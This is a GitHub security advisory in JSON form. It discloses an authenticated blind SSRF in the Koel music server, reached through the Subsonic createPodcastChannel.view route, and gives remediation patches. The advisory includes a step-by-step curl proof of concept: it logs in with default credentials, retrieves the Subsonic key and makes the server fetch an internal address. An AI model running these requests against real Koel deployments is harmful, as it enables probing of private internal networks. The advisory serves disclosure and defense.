{"id":"GHSA-w79m-f3jx-779v","summary":"Koel: Authenticated Blind SSRF via Subsonic Podcast Channel Creation","details":"### Summary\nKoel `v9.6.0` protects the regular podcast subscription API with `SafeUrl`, but the Subsonic-compatible `createPodcastChannel.view` route does not apply the same protection. An authenticated user can supply a private URL and cause Koel to fetch it server-side during podcast parsing.\n\nThis was validated against `v9.6.0` (`352ea5ec27fa22294da8fb6beacb3d5552f0d09c`) using the official `phanan/koel:9.6.0` image.\n\nThis is distinct from `GHSA-7j2f-6h2r-6cqc`, which fixed unsafe episode enclosure URLs in versions `\u003c= 9.3.4`. The issue here is a newer validation gap in the Subsonic route itself, still present in `v9.6.0`.\n\n### Details\n#### SafeUrl protects the regular podcast API only\n\nThe regular podcast subscription path validates the feed URL with `SafeUrl`:\n\n- `app/Http/Requests/API/Podcast/PodcastStoreRequest.php`\n\n```php\nreturn [\n    'url' =\u003e ['required', 'url', new SafeUrl()],\n];\n```\n\nThe Subsonic-compatible route does not:\n\n- `routes/subsonic.php`\n  - `createPodcastChannel.view`\n- `app/Http/Requests/Subsonic/CreatePodcastChannelRequest.php`\n\n```php\nreturn [\n    'url' =\u003e ['required', 'string', 'url'],\n];\n```\n\nThat creates the same kind of trust-boundary mismatch as the radio issue: the main API rejects private targets, while the compatibility route accepts them.\n\n#### The URL is fetched immediately by the podcast parser\n\nThe attacker-controlled URL is used by the podcast service during channel creation:\n\n- `app/Http/Controllers/Subsonic/CreatePodcastChannelController.php`\n- `app/Services/Podcast/PodcastService.php`\n\n`PodcastService::addPodcast()` calls:\n\n```php\n$parser = $this-\u003ecreateParser($url);\n```\n\nand `createParser()` resolves to:\n\n```php\nreturn Poddle::fromUrl($url, 5 * 60, $this-\u003eclient);\n```\n\nThis means the SSRF happens as part of the channel creation flow itself. No separate playback step is needed.\n\n#### This bypasses Koel's intended SSRF control for podcast URLs\n\nKoel already added `SafeUrl` to the regular podcast API and has already published a podcast-related SSRF advisory. The Subsonic route does not reuse that same control, so it reintroduces a server-side fetch primitive for private destinations.\n\n### PoC\nThe following steps were validated against the official `phanan/koel:9.6.0` image.\n\n1. Authenticate and obtain an API token:\n\n```bash\nAPI_TOKEN=$(\n  curl -sS -X POST http://127.0.0.1:18081/api/me \\\n    -H 'Content-Type: application/json' \\\n    --data '{\"email\":\"admin@koel.dev\",\"password\":\"KoelIsCool\"}' \\\n  | python3 -c 'import json,sys; print(json.load(sys.stdin)[\"token\"])'\n)\n```\n\n2. Obtain the user's Subsonic API key:\n\n```bash\nSUBSONIC_KEY=$(\n  curl -sS http://127.0.0.1:18081/api/data \\\n    -H \"Authorization: Bearer $API_TOKEN\" \\\n  | python3 -c 'import json,sys; print(json.load(sys.stdin)[\"current_user\"][\"subsonic_api_key\"])'\n)\n```\n\n3. Prepare an internal-only target URL. In my validation, I used a host-side RSS fixture reachable from the container through the Docker bridge:\n\n```bash\nTARGET_URL=\"http://172.17.0.1:18090/feed.xml?run=1\"\n```\n\n4. Confirm the regular web API blocks the URL:\n\n```bash\ncurl -i -X POST http://127.0.0.1:18081/api/podcasts \\\n  -H \"Authorization: Bearer $API_TOKEN\" \\\n  -H 'Accept: application/json' \\\n  -H 'Content-Type: application/json' \\\n  --data \"{\\\"url\\\":\\\"$TARGET_URL\\\"}\"\n```\n\nExpected result:\n\n- HTTP `422`\n- Error includes `The url must point to a public URL.`\n\n5. Trigger the Subsonic route with the same URL:\n\n```bash\ncurl -i -G http://127.0.0.1:18081/rest/createPodcastChannel.view \\\n  --data-urlencode \"apiKey=$SUBSONIC_KEY\" \\\n  --data-urlencode 'f=json' \\\n  --data-urlencode \"url=$TARGET_URL\"\n```\n\nExpected result:\n\n- HTTP `200`\n- JSON includes `\"status\":\"ok\"`\n\n6. Confirm the server-side request happened by checking the internal HTTP service logs.\n\nDuring validation, the local HTTP test server received `HEAD` and `GET ` requests for `/feed.xml?run=1`.\n\n### Impact\nAn authenticated user can make Koel send server-side HTTP requests to internal destinations that are intentionally blocked by the main web API.\n\nValidated impact:\n- SSRF to loopback, Docker-bridge, and RFC1918 HTTP destinations reachable from the Koel server\n- Internal service discovery and request execution through the podcast parser\n\nGeneric response-body exfiltration was not validated through this exact route. The confirmed impact is SSRF-based internal request execution.\n\n### Remediation\n\nThe Subsonic podcast request validator should apply `SafeUrl`, and the parser entry point should reject unsafe targets as defense in depth.\n\nSuggested patch for `app/Http/Requests/Subsonic/CreatePodcastChannelRequest.php`:\n\n```diff\ndiff --git a/app/Http/Requests/Subsonic/CreatePodcastChannelRequest.php b/app/Http/Requests/Subsonic/CreatePodcastChannelRequest.php\n--- a/app/Http/Requests/Subsonic/CreatePodcastChannelRequest.php\n+++ b/app/Http/Requests/Subsonic/CreatePodcastChannelRequest.php\n@@\n namespace App\\Http\\Requests\\Subsonic;\n \n use App\\Http\\Requests\\Request;\n+use App\\Rules\\SafeUrl;\n@@\n     public function rules(): array\n     {\n         return [\n-            'url' =\u003e ['required', 'string', 'url'],\n+            'url' =\u003e ['required', 'string', 'url', new SafeUrl()],\n         ];\n     }\n }\n```\n\nSuggested defense-in-depth patch for `app/Services/Podcast/PodcastService.php`:\n\n```diff\ndiff --git a/app/Services/Podcast/PodcastService.php b/app/Services/Podcast/PodcastService.php\n--- a/app/Services/Podcast/PodcastService.php\n+++ b/app/Services/Podcast/PodcastService.php\n@@\n     private function createParser(string $url): Poddle\n     {\n+        if (!$this-\u003enetwork-\u003eisSafeUrl($url)) {\n+            throw FailedToParsePodcastFeedException::create($url);\n+        }\n+\n         return Poddle::fromUrl($url, 5 * 60, $this-\u003eclient);\n     }\n }\n```","aliases":["CVE-2026-54492"],"modified":"2026-07-15T17:26:45.442801Z","published":"2026-07-15T17:07:16Z","database_specific":{"github_reviewed_at":"2026-07-15T17:07:16Z","nvd_published_at":null,"cwe_ids":["CWE-918"],"severity":"MODERATE","github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/koel/koel/security/advisories/GHSA-w79m-f3jx-779v"},{"type":"WEB","url":"https://github.com/koel/koel/pull/2545"},{"type":"WEB","url":"https://github.com/koel/koel/commit/1331f335342b405e60ffabdd60f1f398508f996f"},{"type":"PACKAGE","url":"https://github.com/koel/koel"},{"type":"WEB","url":"https://github.com/koel/koel/releases/tag/v9.7.0"}],"affected":[{"package":{"name":"phanan/koel","ecosystem":"Packagist","purl":"pkg:composer/phanan/koel"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.7.0"}]}],"versions":["1.0.0-beta","v0.0.0-beta","v1.1.1","v1.1.2","v2.0.0","v2.0.1","v2.0.2","v2.1.0","v2.2.0","v2.2.1","v3.0.0","v3.0.1","v3.1.0","v3.1.1","v3.2.0","v3.3.0","v3.3.1","v3.4.0","v3.4.1","v3.5.0","v3.5.1","v3.5.2","v3.5.3","v3.5.4","v3.5.5","v3.6.0","v3.6.1","v3.6.2","v3.7.0","v3.7.1","v3.7.2","v4.0.0","v4.1.0","v4.1.1","v4.2.0","v4.2.1","v4.2.2","v4.3.0","v4.3.1","v4.4.0","v5.0.0","v5.0.1","v5.0.2","v5.1.0","v5.1.1","v5.1.10","v5.1.11","v5.1.12","v5.1.13","v5.1.14","v5.1.2","v5.1.3","v5.1.4","v5.1.5","v5.1.6","v5.1.7","v5.1.8","v5.1.9","v6.0.0","v6.0.1","v6.0.2","v6.0.3","v6.0.4","v6.0.5","v6.0.6","v6.1.0","v6.10.0","v6.11.0","v6.11.1","v6.11.2","v6.11.3","v6.11.4","v6.11.5","v6.12.0","v6.12.1","v6.2.0","v6.2.1","v6.2.2","v6.3.0","v6.4.0","v6.4.1","v6.4.2","v6.4.3","v6.5.0","v6.5.1","v6.5.2","v6.5.3","v6.6.0","v6.7.0","v6.7.1","v6.7.2","v6.7.3","v6.7.4","v6.7.5","v6.8.0","v6.8.1","v6.8.2","v6.8.3","v6.8.4","v6.8.5","v6.9.0","v7.0.0","v7.0.1","v7.0.10","v7.0.11","v7.0.12","v7.0.2","v7.0.3","v7.0.4","v7.0.5","v7.0.6","v7.0.7","v7.0.8","v7.0.9","v7.1.0","v7.10.0","v7.10.1","v7.10.2","v7.10.3","v7.10.4","v7.11.0","v7.12.0","v7.13.0","v7.14.0","v7.15.0","v7.15.1","v7.2.0","v7.2.1","v7.2.2","v7.3.0","v7.3.1","v7.4.0","v7.4.1","v7.4.2","v7.5.0","v7.5.1","v7.5.2","v7.6.0","v7.6.1","v7.6.2","v7.6.3","v7.7.0","v7.7.1","v7.8.0","v7.8.1","v7.9.0","v8.0.0","v8.1.0","v8.2.0","v8.3.0","v8.3.1","v9.0.0","v9.1.0","v9.1.1","v9.1.2","v9.2.0","v9.2.1","v9.3.0","v9.3.1","v9.3.2","v9.3.3","v9.3.4","v9.3.5","v9.3.6","v9.4.0","v9.4.1","v9.4.2","v9.5.0","v9.6.0"],"database_specific":{"last_known_affected_version_range":"\u003c= 9.6.0","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-w79m-f3jx-779v/GHSA-w79m-f3jx-779v.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N"}]}